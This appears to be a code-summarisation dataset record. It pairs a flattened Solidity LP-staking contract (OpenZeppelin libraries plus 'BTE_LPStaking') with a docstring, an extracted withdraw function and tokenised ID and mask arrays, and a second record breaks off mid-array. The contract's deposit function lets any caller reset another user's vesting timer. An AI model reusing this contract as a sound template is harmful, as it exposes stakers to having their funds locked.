* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/math/SafeCast.sol
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: @openzeppelin/contracts/utils/math/SignedSafeMath.sol
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SignedSafeMath {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File: Farm.sol
pragma solidity 0.8.0;
pragma experimental ABIEncoderV2;
contract BTE_LPStaking is Initializable, OwnableUpgradeable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using SignedSafeMath for int256;
using SafeCast for int256;
/// @notice Info of each user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of reward entitled to the user.
/// `lastDepositedAt` The timestamp of the last deposit.
struct UserInfo {
uint256 amount;
int256 rewardDebt;
uint256 lastDepositedAt;
}
uint256 private constant ACC_REWARD_PRECISION = 1e12;
/// @notice Address of reward contract.
IERC20 public reward;
/// @notice Address of the LP token.
IERC20 public lpToken;
/// @notice reward amount allocated per LP token.
uint256 public accRewardPerShare;
/// @notice Last block that the reward is calculated.
uint256 public lastRewardBlock;
/// @notice reward Per Block.
uint256 public rewardPerBlock;
// @notice vesting time required before allow to withdraw.
uint256 public vestingTime = 30 days;
/// @notice Info of each user that stakes LP tokens.
mapping(address => UserInfo) public userInfo;
event Deposit(address indexed user, uint256 amount, address indexed to);
event Withdraw(address indexed user, uint256 amount, address indexed to);
event EmergencyWithdraw(
address indexed user,
uint256 amount,
address indexed to
);
event Harvest(address indexed user, uint256 amount);
event LogUpdatePool(
uint256 lastRewardBlock,
uint256 lpSupply,
uint256 accRewardPerShare
);
/**
* @param _reward The reward token contract address.
* @param _lpToken The staking contract address.
*/
function initialize(IERC20 _reward, IERC20 _lpToken) external initializer {
__Ownable_init();
reward = _reward;
lpToken = _lpToken;
accRewardPerShare = 0;
lastRewardBlock = block.number;
}
/**
* @notice Sets the reward per block to be distributed. Can only be called by the owner.
* @dev Its decimals count is ACC_REWARD_PRECISION
* @param _rewardPerBlock The amount of reward to be distributed per second.
*/
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
updatePool();
rewardPerBlock = _rewardPerBlock;
}
/**
* @notice View function to see pending reward on frontend.
* @dev It doens't update accRewardPerShare, it's just a view function.
* @param _user Address of user.
* @return pending reward for a given user.
*/
function pendingReward(address _user)
external
view
returns (uint256 pending)
{
UserInfo storage user = userInfo[_user];
uint256 lpSupply = lpToken.balanceOf(address(this));
uint256 accRewardPerShare_ = accRewardPerShare;
if (block.number > lastRewardBlock && lpSupply != 0) {
uint256 blocks = block.number.sub(lastRewardBlock);
uint256 blockReward = blocks.mul(rewardPerBlock);
accRewardPerShare_ = accRewardPerShare_.add(
blockReward.mul(ACC_REWARD_PRECISION) / lpSupply
);
}
pending = int256(
user.amount.mul(accRewardPerShare_) / ACC_REWARD_PRECISION
).sub(user.rewardDebt).toUint256();
}
/**
* @notice Update reward variables.
* @dev Updates accRewardPerShare and lastRewardBlock.
*/
function updatePool() public {
if (block.number > lastRewardBlock) {
uint256 lpSupply = lpToken.balanceOf(address(this));
if (lpSupply > 0) {
uint256 blocks = block.number.sub(lastRewardBlock);
uint256 blockReward = blocks.mul(rewardPerBlock);
accRewardPerShare = accRewardPerShare.add(
blockReward.mul(ACC_REWARD_PRECISION) / lpSupply
);
}
lastRewardBlock = block.number;
emit LogUpdatePool(lastRewardBlock, lpSupply, accRewardPerShare);
}
}
/**
* @notice Deposit LP tokens for reward allocation.
* @param amount LP token amount to deposit.
* @param to The receiver of `amount` deposit benefit.
*/
function deposit(uint256 amount, address to) public {
updatePool();
UserInfo storage user = userInfo[to];
// Effects
user.lastDepositedAt = block.timestamp;
user.amount = user.amount.add(amount);
user.rewardDebt = user.rewardDebt.add(
int256(amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION)
);
lpToken.safeTransferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, amount, to);
}
/**
* @notice Withdraw LP tokens and harvest rewards to `to`.
* @param amount LP token amount to withdraw.
* @param to Receiver of the LP tokens and rewards.
*/
function withdraw(uint256 amount, address to) public {
updatePool();
UserInfo storage user = userInfo[msg.sender];
require(block.timestamp >= user.lastDepositedAt.add(vestingTime), "Vesting time requires!");
int256 accumulatedReward = int256(
user.amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION
);
uint256 _pendingReward = accumulatedReward
.sub(user.rewardDebt)
.toUint256();
// Effects
user.rewardDebt = accumulatedReward.sub(
int256(amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION)
);
user.amount = user.amount.sub(amount);
reward.safeTransfer(to, _pendingReward);
lpToken.safeTransfer(to, amount);
emit Withdraw(msg.sender, amount, to);
emit Harvest(msg.sender, _pendingReward);
}
/**
* @notice Harvest rewards and send to `to`.
* @dev Here comes the formula to calculate reward token amount
* @param to Receiver of rewards.
*/
function harvest(address to) public {
updatePool();
UserInfo storage user = userInfo[msg.sender];
int256 accumulatedReward = int256(
user.amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION
);
uint256 _pendingReward = accumulatedReward
.sub(user.rewardDebt)
.toUint256();
// Effects
user.rewardDebt = accumulatedReward;
// Interactions
if (_pendingReward != 0) {
reward.safeTransfer(to, _pendingReward);
}
emit Harvest(msg.sender, _pendingReward);
}
/**
* @notice Withdraw without caring about rewards. EMERGENCY ONLY.
* @param to Receiver of the LP tokens.
*/
function emergencyWithdraw(address to) public {
UserInfo storage user = userInfo[msg.sender];
require(block.timestamp >= user.lastDepositedAt.add(vestingTime), "Vesting time requires!");
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
// Note: transfer can fail or succeed if `amount` is zero.
lpToken.safeTransfer(to, amount);
emit EmergencyWithdraw(msg.sender, amount, to);
}
/**
* @notice deposit reward
* @param amount to deposit
*/
function depositReward(uint256 amount) external onlyOwner {
reward.safeTransferFrom(msg.sender, address(this), amount);
}
/**
* @notice withdraw reward
* @param amount to withdraw
*/
function withdrawReward(uint256 amount) external onlyOwner {
reward.safeTransfer(msg.sender, amount);
}
function updateVestingTime(uint256 priodInSecond) external onlyOwner {
vestingTime = priodInSecond;
}
} | * @notice Withdraw LP tokens and harvest rewards to `to`. @param amount LP token amount to withdraw. @param to Receiver of the LP tokens and rewards./ Effects | function withdraw(uint256 amount, address to) public {
updatePool();
UserInfo storage user = userInfo[msg.sender];
require(block.timestamp >= user.lastDepositedAt.add(vestingTime), "Vesting time requires!");
int256 accumulatedReward = int256(
user.amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION
);
uint256 _pendingReward = accumulatedReward
.sub(user.rewardDebt)
.toUint256();
user.rewardDebt = accumulatedReward.sub(
int256(amount.mul(accRewardPerShare) / ACC_REWARD_PRECISION)
);
user.amount = user.amount.sub(amount);
reward.safeTransfer(to, _pendingReward);
lpToken.safeTransfer(to, amount);
emit Withdraw(msg.sender, amount, to);
emit Harvest(msg.sender, _pendingReward);
}
| 15,109,368 | [
1,
1190,
9446,
511,
52,
2430,
471,
17895,
26923,
283,
6397,
358,
1375,
869,
8338,
225,
3844,
511,
52,
1147,
3844,
358,
598,
9446,
18,
225,
358,
31020,
434,
326,
511,
52,
2430,
471,
283,
6397,
18,
19,
30755,
87,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
598,
9446,
12,
11890,
5034,
3844,
16,
1758,
358,
13,
1071,
288,
203,
3639,
1089,
2864,
5621,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
2629,
18,
5508,
1545,
729,
18,
2722,
758,
1724,
329,
861,
18,
1289,
12,
90,
10100,
950,
3631,
315,
58,
10100,
813,
4991,
4442,
1769,
203,
3639,
509,
5034,
24893,
17631,
1060,
273,
509,
5034,
12,
203,
5411,
729,
18,
8949,
18,
16411,
12,
8981,
17631,
1060,
2173,
9535,
13,
342,
18816,
67,
862,
21343,
67,
3670,
26913,
203,
3639,
11272,
203,
3639,
2254,
5034,
389,
9561,
17631,
1060,
273,
24893,
17631,
1060,
203,
5411,
263,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
13,
203,
5411,
263,
869,
5487,
5034,
5621,
203,
203,
3639,
729,
18,
266,
2913,
758,
23602,
273,
24893,
17631,
1060,
18,
1717,
12,
203,
5411,
509,
5034,
12,
8949,
18,
16411,
12,
8981,
17631,
1060,
2173,
9535,
13,
342,
18816,
67,
862,
21343,
67,
3670,
26913,
13,
203,
3639,
11272,
203,
3639,
729,
18,
8949,
273,
729,
18,
8949,
18,
1717,
12,
8949,
1769,
203,
203,
3639,
19890,
18,
4626,
5912,
12,
869,
16,
389,
9561,
17631,
1060,
1769,
203,
3639,
12423,
1345,
18,
4626,
5912,
12,
869,
16,
3844,
1769,
203,
203,
3639,
3626,
3423,
9446,
12,
3576,
18,
15330,
16,
3844,
16,
358,
1769,
203,
3639,
3626,
670,
297,
26923,
12,
3576,
18,
15330,
16,
389,
9561,
17631,
1060,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x5c4aCc617048719F9515C6DBC88e83cba243CD60/sources/Blue.sol | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
| 2,628,272 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
14223,
6914,
353,
1772,
288,
203,
565,
1758,
3238,
389,
8443,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
203,
3639,
1758,
8808,
2416,
5541,
16,
203,
3639,
1758,
8808,
394,
5541,
203,
565,
11272,
203,
203,
203,
203,
203,
565,
3885,
1435,
288,
203,
3639,
389,
13866,
5460,
12565,
24899,
3576,
12021,
10663,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
389,
1893,
5541,
5621,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
445,
389,
1893,
5541,
1435,
2713,
1476,
5024,
288,
203,
3639,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
565,
289,
203,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
3639,
389,
13866,
5460,
12565,
12,
2867,
12,
20,
10019,
203,
565,
289,
203,
377,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
